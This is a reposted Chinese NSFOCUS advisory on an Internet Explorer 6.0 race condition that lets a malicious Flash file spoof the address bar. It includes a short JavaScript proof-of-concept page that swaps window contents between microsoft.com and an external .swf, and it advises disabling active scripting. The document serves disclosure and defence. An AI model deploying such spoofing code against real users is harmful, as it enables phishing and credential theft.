[转载]Internet Explorer窗口加载竞争条件地址栏欺骗漏洞

信息来源：绿盟科技

受影响系统：
Microsoft Internet Explorer 6.0
描述：
--------------------------------------------------------------------------------
Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。

IE在浏览器窗口中加载web内容和Macromedia Flash格式文件（.swf）时存在竞争条件漏洞，攻击者可以利用这个漏洞在显示恶意站点Flash文件的浏览器窗口中欺骗地址栏，导致网络钓鱼类的攻击。

注意：由于可以在浏览器窗口中看到恶意Flash文件的URL，因此攻击的影响会有所减缓。

<*来源：Hai Nam Luke （hainamluke@yahoo.com）
  
  链接：http://marc.theaimsgroup.com/?l= ... 08940420872&w=2
      http://secunia.com/advisories/19521/print/
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##### LukesTest.htm #####
<script language="javascript">
function pause(ms)
{
   date = new Date();
   var curDate = null;

   do { var curDate = new Date(); }
   while(curDate-date < ms);
}

function spoof () {
    win   = window.open(&#39;http://www.microsoft.com/&#39;,&#39;new&#39;)
    pause (2000)
    win   = window.open(&#39;http://www.buctuong.com/swfs/index.swf&#39;,&#39;new&#39;)
    pause (2000)
    win   = window.open(&#39;http://www.microsoft.com/&#39;,&#39;new&#39;)
   
}
</script>
<a href="javascript: spoof()">Perform the test</a>
#########################

建议：
--------------------------------------------------------------------------------
临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 禁用活动脚本。

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/windows/ie/default.asp